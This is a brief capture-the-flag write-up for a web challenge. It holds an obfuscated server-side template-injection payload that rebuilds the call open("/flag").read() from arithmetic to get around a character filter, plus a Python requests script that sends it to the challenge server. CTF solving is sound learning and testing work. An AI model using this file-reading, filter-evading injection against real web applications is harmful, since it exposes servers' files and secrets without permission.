Tags: web
Rating:
my payload is
`{{('""%2bo'%2b((111%2b1)|ch)%2b'e'%2b((111-1)|ch)%2b'("'%2b((46%2b1)|ch)%2b((114-11-1)|ch)%2b'l'%2b((111-14)|ch)%2b((114-11)|ch)%2b'")'%2b(46|ch)%2b're'%2b((111-14)|ch)%2b'd()')|e}}`
my solution
```
import requests
s = requests.session()
payload='''{{('""%2bo'%2b((111%2b1)|ch)%2b'e'%2b((111-1)|ch)%2b'("'%2b((46%2b1)|ch)%2b((114-11-1)|ch)%2b'l'%2b((111-14)|ch)%2b((114-11)|ch)%2b'")'%2b(46|ch)%2b're'%2b((111-14)|ch)%2b'd()')|e}}'''
url = 'https://super-secure-translation-implementation.chals.damctf.xyz/secure_translate/?payload='+payload
res = s.get(url).text
print(res)
```
[read detail ](https://github.com/magnetohvcs/ctf/blob/main/damctf/web-super-secure-translation-implementation/readme.md)